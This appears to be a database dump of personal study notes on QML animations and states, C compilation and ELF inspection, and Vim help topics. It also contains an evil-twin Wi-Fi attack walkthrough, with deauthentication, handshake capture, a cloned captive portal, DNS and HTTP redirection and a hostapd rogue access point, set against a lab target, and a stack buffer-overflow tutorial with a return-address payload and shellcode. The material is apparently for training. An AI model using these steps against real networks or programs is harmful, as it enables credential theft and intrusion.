`PauseAnimation`: provides a pause for an animation.\n- `SequentialAnimation`: allows animations to be run sequentially.\n- `ParallelAnimation`: allows animations to be run in parallel.\n- `AnchorAnimation`: animates changes in anchor values.\n- `ParentAnimation`: animates changes in parent values.\n- `SmoothedAnimation`: allows a property to smoothly track a value.\n- `SprintAnimation`: allows a property to track a value in a spring-like motion.\n- `PathAnimation`: animates an item alongside a path.\n- `Vector3dAnimation`: animates changes in QVector3d values text txt 2024-07-28 10:13:04.036391 0 +6488 2045 While working on more complex animations, there is sometimes a need to change\na property or to run a script during an ongoing animation. For this Qt Quick\noffers the action elements, which can be used everywhere where the other\nanimation elements can be used: text txt 2024-07-28 10:13:04.373927 0 +6489 2045 - `PropertyAction`: specifies immediate property changes during animation.\n- `ScriptAction`: defines scripts to be run during an animation. text txt 2024-07-28 10:13:04.39493 0 +6490 2046 - **Animation on property:** runs automatically after the element is fully\n loaded.\n- **Behavior on property:** runs automatically when the property value\n changes\n- **Standalone Animation:** runs when the animation is explicitly started\n using `start()` or `running` is set to true. text txt 2024-07-28 10:13:04.683591 0 +6491 2047 Text {\n wrapMode: Text.WordWrap\n} code txt 2024-07-28 10:13:04.96676 0 +6492 2048 - `Easing.Linear`\n- `Easing.InExpo`\n- `Easing.OutExpo`\n- `Easing.InOutExpo`\n- `Easing.InOutCubic`\n- `Easing.SineCurve`\n- `Easing.InOutCirc`\n- `Easing.InOutElastic`\n- `Easing.InOutBack`\n- `Easing.InOutBounce` text txt 2024-07-28 10:13:05.317298 0 +6493 2049 import QtQuick text txt 2024-07-28 10:13:06.357971 0 +6494 2049 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("Linear") text txt 2024-07-28 10:13:06.381088 0 +6495 2049 Rectangle {\n id: root\n anchors.fill: parent\n color: '#383838' text txt 2024-07-28 10:13:06.402502 0 +6496 2049 property int padding: 20 text txt 2024-07-28 10:13:06.423007 0 +6497 2049 Rectangle {\n id: box\n width: 40\n height: 40\n x: root.padding\n anchors.verticalCenter: parent.verticalCenter\n color: 'lightsteelblue' text txt 2024-07-28 10:13:06.444681 0 +6498 2049 Behavior on x {\n NumberAnimation {\n id: animation\n duration: 2000\n easing.type: Easing.InOutCubic\n }\n }\n } text txt 2024-07-28 10:13:06.464793 0 +6499 2049 MouseArea {\n anchors.fill: parent\n onClicked: {\n box.x = root.width - box.width - root.padding\n }\n }\n }\n} code txt 2024-07-28 10:13:06.487006 0 +6500 2050 Besides the `duration` and `easing.type` , you are able to fine-tune\nanimations. For example, the general `PropertyAnimation` type (from which\nmost animations inherit) additionally supports `easing.amplitude` ,\n`easing.overshoot` , and `easing.period` properties, which allow you to\nfine-tune the behavior of particular easing curves. text txt 2024-07-28 10:13:06.796194 0 +6501 2051 You might want to run several animations at the same time or one after\nanother or even execute a script between two animations. text txt 2024-07-28 10:13:07.153634 0 +6502 2051 Grouping can be done in two ways: parallel or sequential. text txt 2024-07-28 10:13:07.17417 0 +6605 2084 Inspect the core dump for further understanding of what heppened on the\nstack: text txt 2024-07-28 10:13:25.116764 0 +6503 2051 You can use the `SequentialAnimation` or the `ParallelAnimation` element,\nwhich act as animation containers for other animation elements. text txt 2024-07-28 10:13:07.195087 0 +6504 2051 These grouped animations are animations themselves and can be used exactly as\nsuch. text txt 2024-07-28 10:13:07.216241 0 +6505 2052 import QtQuick text txt 2024-07-28 10:13:08.522654 0 +6506 2052 Window {\n id: window\n width: 640\n height: 480\n visible: true\n title: qsTr("Parallel") text txt 2024-07-28 10:13:08.543553 0 +6507 2052 Rectangle {\n id: root\n color: '#383838'\n anchors.fill: parent text txt 2024-07-28 10:13:08.564791 0 +6508 2052 property int padding: 20\n property int duration: 2000\n } text txt 2024-07-28 10:13:08.585736 0 +6509 2052 MouseArea {\n anchors.fill: parent\n onClicked: { diagonal_movement.start(); }\n } text txt 2024-07-28 10:13:08.606393 0 +6510 2052 Rectangle {\n id: box\n color: 'lightsteelblue'\n width: 42\n height: 42 text txt 2024-07-28 10:13:08.626872 0 +6511 2052 x: root.padding\n y: root.height - height - root.padding\n } text txt 2024-07-28 10:13:08.647544 0 +6512 2052 ParallelAnimation {\n id: diagonal_movement text txt 2024-07-28 10:13:08.669614 0 +6513 2052 NumberAnimation {\n target: box\n properties: 'x'\n to: root.width - box.width - root.padding\n duration: root.duration\n easing.type: Easing.InOutCubic\n } text txt 2024-07-28 10:13:08.691888 0 +6514 2052 NumberAnimation {\n target: box\n properties: 'y'\n to: root.padding\n duration: root.duration\n easing.type: Easing.InOutCubic\n }\n }\n} code txt 2024-07-28 10:13:08.712016 0 +6515 2053 code txt 2024-07-28 10:13:08.904847 0 +6516 2054 A state defines a set of property changes and can be triggered by a certain\ncondition. text txt 2024-07-28 10:13:09.974262 0 +6517 2054 You define states in QML with the `State` element, which needs to be bound to\nthe `states` array of any item element. text txt 2024-07-28 10:13:09.995275 0 +6518 2054 A state is identified through a state name, and in its simplest form,\nconsists of a series of property changes on elements. text txt 2024-07-28 10:13:10.016026 0 +6519 2054 The default state is defined by the initial properties of the element and is\nnamed `""` (an empty string). text txt 2024-07-28 10:13:10.037287 0 +6520 2054 Item {\n id: root\n states: [\n State {\n name: "go"\n PropertyChanges { ... }\n },\n State {\n name: "stop"\n PropertyChanges { ... }\n }\n ]\n} code txt 2024-07-28 10:13:10.058613 0 +6521 2054 A state is changed by assigning a new state name to the `state` property of\nthe element in which the states are defined. text txt 2024-07-28 10:13:10.079101 0 +6522 2054 Item {\n id: root\n states: [\n ...\n ]\n Button {\n id: goButton\n ...\n onClicked: root.state = "go"\n }\n} code txt 2024-07-28 10:13:10.100457 0 +6523 2055 import QtQuick text txt 2024-07-28 10:13:11.291548 0 +6524 2055 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("States") text txt 2024-07-28 10:13:11.312056 0 +6525 2055 Rectangle {\n id: root\n color: '#393939'\n anchors.fill: parent text txt 2024-07-28 10:13:11.332896 0 +6526 2055 MouseArea {\n anchors.fill: parent\n onClicked: {\n ball.state = (ball.state === 'bright' ? 'dark' : 'bright')\n }\n }\n } text txt 2024-07-28 10:13:11.354713 0 +6527 2055 Rectangle {\n id: ball\n color: 'lightsteelblue'\n width: 42\n height: width\n radius: width / 2\n anchors.centerIn: parent\n state: 'bright' text txt 2024-07-28 10:13:11.37564 0 +6528 2055 states: [\n State {\n name: 'bright'\n PropertyChanges {\n target: ball\n color: 'lightsteelblue'\n }\n },\n State {\n name: 'dark'\n PropertyChanges {\n target: ball\n color: 'darkblue'\n }\n }\n ]\n }\n} code txt 2024-07-28 10:13:11.396502 0 +6529 2056 A transition is executed by a state change. text txt 2024-07-28 10:13:11.939545 0 +6530 2056 You can define on which state change a particular transition can be applied\nusing the `from:` and `to:` properties. text txt 2024-07-28 10:13:11.959784 0 +6531 2056 For example, `from: "*"; to: "*"` means "from any state to any other state",\nand is the default value for `from` and `to` . This means the transition will\nbe applied to every state switch. text txt 2024-07-28 10:13:11.980226 0 +6532 2056 transitions: [\n Transition {\n from: "*"; to: "*"\n ColorAnimation { target: element1; properties: "color"; duration: 2000 }\n ColorAnimation { target: element2; properties: "color"; duration: 2000 }\n }\n] code txt 2024-07-28 10:13:12.001079 0 +6533 2057 - `QtQuick.Controls`\n- `QtQuick.Templates`\n- `QtQuick.Controls.Imagine`\n- `QtQuick.Controls.Material`\n- `QtQuick.Controls.Universal` text txt 2024-07-28 10:13:12.272261 0 +6534 2058 import QtQuick\nimport QtQuick.Controls text txt 2024-07-28 10:13:12.670083 0 +6535 2058 ApplicationWindow {\n visible: true\n width: 800\n height: 600\n // ...\n} code txt 2024-07-28 10:13:12.691007 0 +6536 2059 Browsers try to resolve a set of URIs and expect a recieve from server in the\nform of HTTP 204 or 200 responses. text txt 2024-07-28 10:13:13.630444 0 +6537 2059 Detecting existance of a captive portal and internet connectivity are two\ndifferent things. text txt 2024-07-28 10:13:13.652026 0 +6538 2060 The target access point, also the collection of its information like channel,\nclients and etc. text txt 2024-07-28 10:13:13.857321 0 +6539 2061 On WPA-PSK or WPA2-PSK networks we should capture a handshake. text txt 2024-07-28 10:13:14.094569 0 +6540 2061 Then we would need to copy the captive portal or when non exists, create a\nconvincing one. text txt 2024-07-28 10:13:14.115693 0 +6541 2062 Stop network interfaces:\nsudo airmon-ng check kill code txt 2024-07-28 10:13:14.834284 0 +6542 2062 Switch wireless interface to monitor mode:\nsudo airmon-ng start wlan0 code txt 2024-07-28 10:13:14.854437 0 +6543 2062 Use monitor mode to capture information about clients and access points:\nsudo airodump-ng wlan0mon code txt 2024-07-28 10:13:14.875749 0 +6544 2062 Capture handshake from one of clients:\nsudo airodump-ng -w discovery --output-format pcap -c 11 wlan0mon code txt 2024-07-28 10:13:14.897485 0 +6545 2062 Force a client to reconnect to the access pointer:\nsudo aireplay-ng -0 0 -a wlan0mon code txt 2024-07-28 10:13:14.919014 0 +6546 2062 Disable monitor mode:\nsudo airmon-ng stop wlan0mon code txt 2024-07-28 10:13:14.940048 0 +6547 2063 For this scenario we need PHP and Apache server. text txt 2024-07-28 10:13:17.683854 0 +6548 2063 Download website content of the target corporation behind captive portal:\nwget -r -l2 https://megacorpone.com code txt 2024-07-28 10:13:17.707163 0 +6549 2063 Setup http server and index file:\nsudo mkdir /var/www/html/portal\nsudo cp -r ./www.megacorpone.com/assets/ /var/www/html/portal/\nsudo cp -r ./www.megacorpone.com/old-site/ /var/www/html/portal/ code txt 2024-07-28 10:13:17.727291 0 +6550 2063 Create index file:\nsudoedit /var/www/html/portal/index.php code txt 2024-07-28 10:13:17.748049 0 +6606 2084 coredumpctl list a.out code txt 2024-07-28 10:13:25.139936 0 +6551 2063 Create login check script to verify client given password works:\nsudoedit /var/www/html/portal/login_check.php code txt 2024-07-28 10:13:17.768882 0 +6552 2063 Create an interface for fake captive portal:\nsudo ip addr add 192.168.87.1/24 dev wlan0\nsudo ip link set wlan0 up code txt 2024-07-28 10:13:17.789471 0 +6553 2063 Use dnsmasq to setup DHCP server:\nvim mco-dnsmasq.conf text txt 2024-07-28 10:13:17.81035 0 +6554 2063 domain-needed\nbogus-priv\nno-resolv\nfilterwin2k\nexpand-hosts\ndomain=localdomain\nlocal=/localdomain/ text txt 2024-07-28 10:13:17.831944 0 +6555 2063 listen-address=192.168.87.1 text txt 2024-07-28 10:13:17.851479 0 +6556 2063 dhcp-range=192.168.87.100,192.168.87.199,12h\ndhcp-lease-max=100 text txt 2024-07-28 10:13:17.872077 0 +6557 2063 log-quesries\naddress=/com/192.168.87.1\naddress=/org/192.168.87.1\naddress=/net/192.168.87.1\n# Entries for windows 7 and 10 captive portal detection\naddress=/dns.msftncsi.com/131.103.255.255 code txt 2024-07-28 10:13:17.893337 0 +6558 2063 Start DHCP service:\nsudo dnsmasq --conf-file=mco-dnsmasq.conf code txt 2024-07-28 10:13:17.914275 0 +6559 2063 Confirm services are running:\nsudo ss -antlp code txt 2024-07-28 10:13:17.934332 0 +6560 2063 Sometimes clients ignore settings setup in DHCP lease, we can reroute these\nrequests by netfilter:\nsudo nft add table ip nat\nsudo nft 'add chain nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'\nsudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53 code txt 2024-07-28 10:13:17.956348 0 +6561 2063 Configure Apache to accept mode rewrite and alias rules:\nsudoedit /etc/apache2/sites-enabled/000-default.conf text txt 2024-07-28 10:13:17.977202 0 +6562 2063 # Apple\nRewriteEngine on\nRewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]\nRewriteCond %{HTTP_HOST} !^192.168.87.1$\nRewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L,R=302] text txt 2024-07-28 10:13:17.998137 0 +6563 2063 # Android\nRedirectMatch 302 /generate_204 http://192.168.87.1/portal/index.php text txt 2024-07-28 10:13:18.018075 0 +6564 2063 # Windows 7 and 10\nRedirectMatch 302 /ncsi.txt http://192.168.87.1/portal/index.php\nRedirectMatch 302 /connecttest.txt http://192.168.87.1/portal/index.php text txt 2024-07-28 10:13:18.039288 0 +6565 2063 # Catch-all rule to redirect other possible attempts\nRewriteCond %{REQUEST_UIR} !^/portal/ [NC]\nRewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L] code txt 2024-07-28 10:13:18.059422 0 +6566 2063 Use Apache modules to make rewrite and redirects work:\nsudo a2enmod rewrite\nsudo a2enmod alias code txt 2024-07-28 10:13:18.082505 0 +6567 2063 Restart Apache:\nsudo systemctl restart apache2 code txt 2024-07-28 10:13:18.102558 0 +6568 2063 Confirm that captive portal works:\nfirefox http://192.168.87.1/portal/index.php code txt 2024-07-28 10:13:18.122282 0 +6569 2063 Configure hostapd:\nvim mco-hostapd.conf text txt 2024-07-28 10:13:18.143601 0 +6570 2063 interface=wlan0\nssid=MegaCorp One Lab\nchannel=11\nhw_mode=g\nieee80211n=1 code txt 2024-07-28 10:13:18.16541 0 +6571 2063 Run hostapd to create captive portal:\nsudo hostapd -B mco-hostapd.conf code txt 2024-07-28 10:13:18.186969 0 +6572 2063 Capture passphrases using your captive portal. text txt 2024-07-28 10:13:18.208147 0 +6573 2064 1. Preprocessing\n2. Compilation\n3. Assembly\n4. Linking text txt 2024-07-28 10:13:18.537766 0 +6574 2065 #include text txt 2024-07-28 10:13:19.04947 0 +6575 2065 int main()\n{\n fprintf(stdout, "Preprocessing\\\\n");\n} code txt 2024-07-28 10:13:19.069946 0 +6576 2065 For gcc, this can be done sing the following command: text txt 2024-07-28 10:13:19.089694 0 +6577 2065 gcc -E -P -o main.cc main.c code txt 2024-07-28 10:13:19.11013 0 +6578 2065 Where `-E` tells gcc to stop after preprocessing and `-P` causes the compiler\nto omit debugging information so that the output is a bit cleaner. text txt 2024-07-28 10:13:19.130873 0 +6579 2066 gcc -masm intel\ngcc -masm att code txt 2024-07-28 10:13:19.384169 0 +6580 2067 gcc -g -O0 -S -masm=intel -o main.s main.c code txt 2024-07-28 10:13:19.613827 0 +6581 2068 gcc -g -O0 -c -o main.o main.c\nfile main.o code txt 2024-07-28 10:13:19.847278 0 +6582 2069 There are position-independent (relocatable) object files which can be\ncombined to form a complete binary executable. On the other hand there are\nposition-independent (relocatable) executables, which you can call them apart\nfrom ordinary shared libraries because they have an entry point address. text txt 2024-07-28 10:13:20.114723 0 +6583 2070 readelf --syms a.out code txt 2024-07-28 10:13:20.34216 0 +6584 2071 For ELF binaries, debugging symbols are typically generated in the DWARF\nformat, while PE binaries usually use the proprietary PDB format. DWARF\ninformation is usually embedded within the binary, while PDB comes in the\nform of a separate symbol file. text txt 2024-07-28 10:13:20.613436 0 +6585 2072 `libbfd` & `libdwarf`. text txt 2024-07-28 10:13:20.781725 0 +6586 2073 strip --strip-all a.out\nreadelf --syms a.out code txt 2024-07-28 10:13:21.068841 0 +6587 2074 objdump -M intel\nobjdump -M att code txt 2024-07-28 10:13:21.325574 0 +6588 2075 The `.rodata` section contains all constants. text txt 2024-07-28 10:13:21.574588 0 +6589 2075 objdump -sj .rodata example.o code txt 2024-07-28 10:13:21.594575 0 +6590 2076 objdump -M intel -d example.o code txt 2024-07-28 10:13:21.835983 0 +6591 2077 readelf --relocs example.o code txt 2024-07-28 10:13:22.074144 0 +6592 2078 The leftmost column of each line in the `readelf --relocs` output is the\noffset in the object file where the resolved reference must be filled in. The\noffset equals to the offset of the instruction that needs to be fixed, plus\n1. This is because you only want to overwrite the operand of the instruction,\nnot the opcode of the instruction which happens to be only 1 byte. So to\npoint to the instruction's operand, the relocation symbol needs to skip past\nthe opcode byte. text txt 2024-07-28 10:13:22.456364 0 +6593 2078 readelf --relocs example.o code txt 2024-07-28 10:13:22.476309 0 +6594 2079 readelf --sections example.o code txt 2024-07-28 10:13:22.701982 0 +6595 2080 - The operating system creates an address space in which the program will run.\n- This address space indluces the actual program instructions as well as any required data.\n- Three segment types are created: `.text` (read-only), `.bss` (writable), `.data` (writable).\n- The `.bss` and `.data` segments are reserved for global variables.\n- The `.data` segment contains static initialized data, and `.bss` segment contains uninitialized data, `.text` segment holds the program instructions.\n- Stack and heap are initialized. text txt 2024-07-28 10:13:23.299565 0 +6596 2080 readelf --symbols a.out | sort -k 2 -r code txt 2024-07-28 10:13:23.320669 0 +6597 2081 ↑ Lower addresses (0x08000000) text txt 2024-07-28 10:13:23.75452 0 +6598 2081 Shared libraries\n.text\n.bss\nHeap (grows ↓)\nStack (grows ↑)\nenv pointer\nArgc text txt 2024-07-28 10:13:23.775843 0 +6599 2081 ↓ Higher addresses (0xbfffffff) code txt 2024-07-28 10:13:23.796407 0 +6600 2082 - General purpose registers: `rbp`, `rsp`, `rax`, `rbx`, `rcx`, `rdx`, `rdi`, `rsi`, `r8`, `r9`,...\n- Segment registers: `cs`, `ds`, `ss`\n- Control registers: `rip`\n- Other registers: `rflags` text txt 2024-07-28 10:13:24.050525 0 +6601 2083 C has no bounds-checking on buffers. text txt 2024-07-28 10:13:24.474061 0 +6602 2083 #include text txt 2024-07-28 10:13:24.493215 0 +6603 2083 int main()\n{\n int array[5] = {1,2,3,4,5};\n printf("%d\\\\n", array[5]);\n} code txt 2024-07-28 10:13:24.514357 0 +6604 2084 int main()\n{\n int array[5], index;\n for (index = 0; index != 255; ++index)\n {\n array[index] = 10;\n }\n} code txt 2024-07-28 10:13:25.096386 0 +6607 2084 As shown by the core, machine was trying to execute address\n`0x0000000a0000000a` which is the value we filled by overwriting on the\nstack. text txt 2024-07-28 10:13:25.160322 0 +6608 2085 When a function has completed executing its instructions, it returns control\nto the original function caller. text txt 2024-07-28 10:13:26.096183 0 +6609 2085 void function(int a, int b)\n{\n int array[5];\n} text txt 2024-07-28 10:13:26.116936 0 +6610 2085 main()\n{\n function(1, 2);\n} code txt 2024-07-28 10:13:26.138583 0 +6611 2085 The consecutive execution of the program now needs to be interrupted, and the\ninstructions in `function` need to be executed. The first step is to push the\narguments for function, `a` and `b`, backward onto the stack. When the\narguments are placed onto the stack, the `function` is called, placing the\nreturn address, or `RET`, onto the stack. `RET` is the address stored in the\ninstruction pointer (`EIP`) at the time function is called. text txt 2024-07-28 10:13:26.161229 0 +6612 2085 Before any function instructions can be executed, the prolog is executed. In\nessence, the prolog stores some values onto the stack so that the function\ncan execute cleanly. The current value of `EBP` is pushed onto the stack,\nbecause the value of `EBP` must be changed in order to reference values on\nthe stack. When the function has completed, we will need this stored value of\n`EBP` in order to calculate address locations in main. Once `EBP` is stored\non the stack, we are free to copy the current stack pointer (`ESP`) into\n`EBP`. Now we can easily reference addresses local to the stack. text txt 2024-07-28 10:13:26.184569 0 +6613 2085 ||Low Memory Addresses and Top of the Stack|\n|---|---|\n|Array||\n|EBP||\n|RET||\n|A||\n|B||\n||High Memory Addresses and Bottom of the Stack| text txt 2024-07-28 10:13:26.205858 0 +6614 2086 When examining the stack, we’re expecting to see the saved `EBP` and the\nsaved return address (`RET`). But after writing past the array, both `EBP`\nand `RET` values will be overwritten by the value we put past the array. text txt 2024-07-28 10:13:27.154855 0 +6615 2086 void function(void)\n{\n // top of stack, low memory\n // 1 x 8 bytes [index] 0x7fffffffe368\n // 30 x 8 bytes [array] 0x7fffffffe360\n // rbp x 8 bytes 0x7fffffffe460\n // ret x 8 bytes\n // bottom of stack, high memory text txt 2024-07-28 10:13:27.177284 0 +6616 2086 long array[30]; text txt 2024-07-28 10:13:27.199528 0 +6617 2086 unsigned long index = 0; text txt 2024-07-28 10:13:27.220004 0 +6618 2086 while (index != 33)\n {\n array[index] = 'C'; // value 0x43\n ++index;\n }\n} text txt 2024-07-28 10:13:27.241577 0 +6619 2086 main()\n{\n function();\n} code txt 2024-07-28 10:13:27.262571 0 +6620 2086 We have now successfully overflowed a buffer, overwritten `EBP` and `RET`,\nand therefore caused our overflowed value to be loaded into `EIP` after the\nexecution reaches to the end of the function. text txt 2024-07-28 10:13:27.283231 0 +6621 2086 While this overflow can be useful in creating a denial of service, we can\nmove on to controlling the path of execution, or basically, controlling what\ngets loaded into `EIP`, the instruction pointer. text txt 2024-07-28 10:13:27.305541 0 +6622 2087 When `RET` is read off the stack and placed into `EIP`, the instruction at\nthe address will be executed. This is how we will control execution. text txt 2024-07-28 10:13:27.736893 0 +6623 2087 First, we need to decide what address to use. We need to determine the\naddress to jump to, so we will have to go back to gdb and find out what\naddress calls `function`. text txt 2024-07-28 10:13:27.758521 0 +6624 2087 We then translate the address into shellcode and use `printf` to inject it\ninto the vulnerable program. text txt 2024-07-28 10:13:27.779005 0 +6625 2087 printf 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCC\\\\xed\\\\x83\\\\x04\\\\x08' | ./overflow code txt 2024-07-28 10:13:27.800466 0 +6626 2088 Assuming the address we want to use is `0x080483ed`. text txt 2024-07-28 10:13:28.069815 0 +6627 2088 We should separate each byte from end to the beginning separated by `\\\\x`\nresulting in `\\\\xed\\\\x83\\\\x04\\\\x3d`. text txt 2024-07-28 10:13:28.090274 0 +6628 2089 We will have to inject actual machine instructions, or opcodes, into the\nvulnerable input area. To do so, we must convert our shell-spawning code to\nassembly, and then extract the opcodes from our human-readable assembly. We\nwill then have what is termed shellcode, or the opcodes that can be injected\ninto a vulnerable input area and executed. text txt 2024-07-28 10:13:28.638562 0 +6629 2089 #include \n#include text txt 2024-07-28 10:13:28.658449 0 +6630 2089 int main(void)\n{\n char* name[2]; text txt 2024-07-28 10:13:28.68008 0 +6631 2089 name[0] = "/bin/sh";\n name[1] = 0x0;\n execve(name[0], name, 0x0);\n exit(0);\n} code txt 2024-07-28 10:13:28.701164 0 +6632 2090 char* shellcode = "\\\\xff\\\\xff\\\\xfe\\\\xf4\\\\xe8\\\\xff\\\\x31\\\\x48\\\\x08\\\\xec\\\\x83\\\\x48";\n// shellcode for exit(0) text txt 2024-07-28 10:13:29.193416 0 +6633 2090 int main(void)\n{\n int *ret; // empty pointer sitting on stack after (caller address) text txt 2024-07-28 10:13:29.215554 0 +6634 2090 ret = (int *)&ret + 6;\n // \\\\ \\\\____________ address of ret + 6 becomes the address of (caller) on stack\n // \\\\______________________ put address of (caller) on ret to have access text txt 2024-07-28 10:13:29.236626 0 +6635 2090 (*ret) = (int)shellcode; // replace address of (caller) with address of shellcode\n // executes shellcode\n} code txt 2024-07-28 10:13:29.256982 0 +6636 2091 * (`:help`) text txt 2024-07-28 10:13:29.737911 0 +6637 2092 * (`reference`) text txt 2024-07-28 10:13:29.911224 0 +6638 2093 * (`quickref`) text txt 2024-07-28 10:13:30.087355 0 +6639 2094 * (`user-manual`) text txt 2024-07-28 10:13:30.299106 0 +6640 2095 * (`repeating`)::(`single-repeat`)::(`.`) text txt 2024-07-28 10:13:30.467091 0 +6641 2096 * (`Insert`)::(`inserting`)::(`a` or `A`)\n* (`Insert`)::(`inserting`)::(`i` or `I`)\n* (`Insert`)::(`inserting`)::(`o` or `O`)\n* (`Insert`)::(`delete-insert`)::(`s` or `S`)\n* (`Insert`)::(`delete-insert`)::(`c` or `C`) text txt 2024-07-28 10:13:30.737421 0 +6642 2097 * (`cursor-motions`)::(`left-right-motions`)::(`f` or `F`)\n* (`cursor-motions`)::(`left-right-motions`)::(`t`) and (`T`)\n* (`cursor-motions`)::(`left-right-motions`)::(`;`)\n* (`cursor-motions`)::(`left-right-motions`)::(`,`) text txt 2024-07-28 10:13:30.976837 0 +6643 2098 * (`pattern-searches`)::(`search-commands`)::(`star`) text txt 2024-07-28 10:13:31.186477 0 +6644 2099 * (`reference`)::(`notation`)::(`count`)\n* (`changing`)::(`simple-change`)::(`ctrl-a`)\n* (`changing`)::(`simple-change`)::(`ctrl-x`) text txt 2024-07-28 10:13:31.441633 0 +6645 2100 * (`options`)::(`option-summary`)::(`nrformats`) text txt 2024-07-28 10:13:31.670656 0 +6646 2101 * (`changing`)::(`delete-insert`)::(`cw` or `cW`) text txt 2024-07-28 10:13:31.84498 0 +6647 2102 * (`changing`)::(`deleting`)::(`dd`)\n* (`changing`)::(`simple-change`)::(`gUU` or `guu`) text txt 2024-07-28 10:13:32.09488 0 +6648 2103 **Motions:** text txt 2024-07-28 10:13:32.715783 0 +6649 2103 * (`cursor-motions`)::(`operator`)\n* (`cursor-motions`)::(`object-select`)::(`aw`)\n* (`cursor-motions`)::(`object-select`)::(`as`)\n* (`cursor-motions`)::(`object-select`)::(`ap`) text txt 2024-07-28 10:13:32.736522 0 +6650 2103 **operator:** text txt 2024-07-28 10:13:32.757844 0 +6723 2158 * (`tags-and-searches`)::(`tags-file-format`)::(`ctags`) text txt 2024-07-28 10:13:44.85562 0 +6725 2159 * (`tags-and-searches`)::(`tag-commands`)::(`tags`) text txt 2024-07-28 10:13:45.156545 0 +6651 2103 * (`changing`)::(`deleting`)::(`d`)\n* (`changing`)::(`delete-insert`)::(`c`)\n* (`changing`)::(`copy-move`)::(`y`)\n* (`changing`)::(`simple-change`)::(`case`)::(`~` or `gU` or `gu` or `g~`)\n* (`changing`)::(`simple-change`)::(`shift-left-right`)::(`<` or `>`)\n* (`changing`)::(`complex-change`)::(`!`) text txt 2024-07-28 10:13:32.779338 0 +6652 2103 **custom operators:** text txt 2024-07-28 10:13:32.799757 0 +6653 2103 * (`key-mapping`)::(`map-operator`) text txt 2024-07-28 10:13:32.820551 0 +6654 2103 **custom motions:** text txt 2024-07-28 10:13:32.840765 0 +6655 2103 * (`key-mapping`)::(`omap-info`) text txt 2024-07-28 10:13:32.86074 0 +6656 2104 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-h`)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-w`)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-u`) text txt 2024-07-28 10:13:33.112928 0 +6657 2105 * (`reference`)::(`notation`)::(``)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-[`) text txt 2024-07-28 10:13:33.324883 0 +6658 2106 * (`Insert`)::(`ins-special-special`)::(`i_ctrl-o`) text txt 2024-07-28 10:13:33.494293 0 +6659 2107 * (`scrolling`)::(`scroll-cursor`)::(`zz`) text txt 2024-07-28 10:13:33.703317 0 +6660 2108 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-r`) text txt 2024-07-28 10:13:33.896056 0 +6661 2109 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-r_ctrl-p`) text txt 2024-07-28 10:13:34.102474 0 +6662 2110 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-r`)::(`i_ctrl_r_=`) text txt 2024-07-28 10:13:34.292975 0 +6663 2111 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-v`)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-v_digit`) text txt 2024-07-28 10:13:34.497971 0 +6664 2112 * (`various`)::(`varous-cmds`)::(`ga`) text txt 2024-07-28 10:13:34.671226 0 +6665 2113 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-k`)\n* (`digraph`)::(`digraph-table`) text txt 2024-07-28 10:13:34.896053 0 +6666 2114 * (`Insert`)::(`Replace`)\n* (`changing`)::(`delete-insert`)::(`R`)\n* (`changing`)::(`simple-change`)::(`r`) text txt 2024-07-28 10:13:35.119476 0 +6667 2115 * (`Visual`)::(`visual-start`)::(`v`)\n* (`Visual`)::(`visual-start`)::(`V`)\n* (`Visual`)::(`visual-start`)::(`ctrl-v`) text txt 2024-07-28 10:13:35.363616 0 +6668 2116 * (`Visual`)::(`Select`) text txt 2024-07-28 10:13:35.567726 0 +6669 2117 * (`Visual`)::(`visual-start`)::(`gv`) text txt 2024-07-28 10:13:35.755107 0 +6670 2118 * (`Visual`)::(`visual-start`)::(`v_v`) text txt 2024-07-28 10:13:35.964629 0 +6671 2119 * (`Visual`)::(`visual-change`)::(`v_o`) text txt 2024-07-28 10:13:36.167771 0 +6672 2120 * (`changing`)::(`simple-change`)::(`case`)::(`v_u` or `v_U` or `v_~`)\n* (`changing`)::(`simple-change`)::(`case`)::(`~` or `gU` or `gu` or `g~`) text txt 2024-07-28 10:13:36.40757 0 +6673 2121 * (`Visual`)::(`visual-repeat`) text txt 2024-07-28 10:13:36.574025 0 +6674 2122 *first reduce spaces between columns* text txt 2024-07-28 10:13:36.897295 0 +6675 2122 * (`Visual`)::(`visual-start`)::(`ctrl-v`) text txt 2024-07-28 10:13:36.918731 0 +6676 2122 *then reselect previous visual selection, and replace column with | character.* text txt 2024-07-28 10:13:36.938575 0 +6677 2122 * (`Visual`)::(`visual-start`)::(`gv`) text txt 2024-07-28 10:13:36.959429 0 +6678 2123 *first move the cursor on a line, then enter linewise visual mode:* text txt 2024-07-28 10:13:37.238416 0 +6679 2123 * (`Visual`)::(`visual-start`)::(`V`) text txt 2024-07-28 10:13:37.260849 0 +6680 2123 *then replace every occurance of a character in that line with another character:* text txt 2024-07-28 10:13:37.281809 0 +6681 2123 * (`changing`)::(`simple-change`)::(`r`) text txt 2024-07-28 10:13:37.302606 0 +6682 2124 * (`command-line-mode`) text txt 2024-07-28 10:13:37.511909 0 +6683 2125 * (`edit-files`)::(`edit-a-file`)::(`:edit`) text txt 2024-07-28 10:13:37.744304 0 +6684 2126 * (`edit-files`)::(`writing`)::(`:write`) text txt 2024-07-28 10:13:37.937692 0 +6685 2127 * (`tab-page`)::(`tab-page-commands`)::(`:tabedit`) text txt 2024-07-28 10:13:38.108441 0 +6686 2128 * (`windows`)::(`opening-window`)::(`:split`) text txt 2024-07-28 10:13:38.332345 0 +6687 2129 * (`index`)::(`ex-cmd-index`) text txt 2024-07-28 10:13:38.503067 0 +6688 2130 * (`vi-differences`) text txt 2024-07-28 10:13:38.705597 0 +6689 2131 * (`changing`)::(`copy-move`)::(`:copy`) text txt 2024-07-28 10:13:38.892307 0 +6690 2132 * (`changing`)::(`copy-move`)::(`:move`) text txt 2024-07-28 10:13:39.093656 0 +6691 